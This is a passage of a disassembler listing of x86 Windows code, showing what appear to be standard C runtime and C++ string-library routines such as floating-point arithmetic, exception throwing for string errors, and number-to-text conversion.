		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]

loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------

loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7

loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------

loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC014
		mov	eax, offset dword_4DC014
		jmp	short loc_425C78
; ---------------------------------------------------------------------------

loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC010
		mov	eax, offset dword_4DC010
		jmp	short loc_425C78
; ---------------------------------------------------------------------------

loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC018
		mov	eax, offset dword_4DC018
		jmp	short loc_425C78
; ---------------------------------------------------------------------------

loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------

loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DC00C
		mov	eax, offset dword_4DC00C

loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------

loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2

loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7

loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBEAC
		and	dword_4DBEAC, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4DC
		mov	dword_43D4DC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------

loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]

loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4D0
		mov	ecx, dword_43D4D4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D460h[edx*4]

loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------

loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B

loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4DC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------

loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C

loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBEAC, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4DC, eax

loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx

loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D45C, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]

loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55

loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77

loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------

loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h

loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDEC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------

loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDEC, 9

loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------

loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------

loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax

loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E

loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------

loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA

loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45

loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20

loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E

loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]

loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1

loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA

loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------

loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------

loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]

loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------

loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D838
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D998
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi

loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi

loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------

loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx

loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx

loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx

loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger

loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger

loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 2870000h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------

loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]

loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------

loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]

loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx

loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------

loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h

loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx

loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h

loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h

loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------

loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435

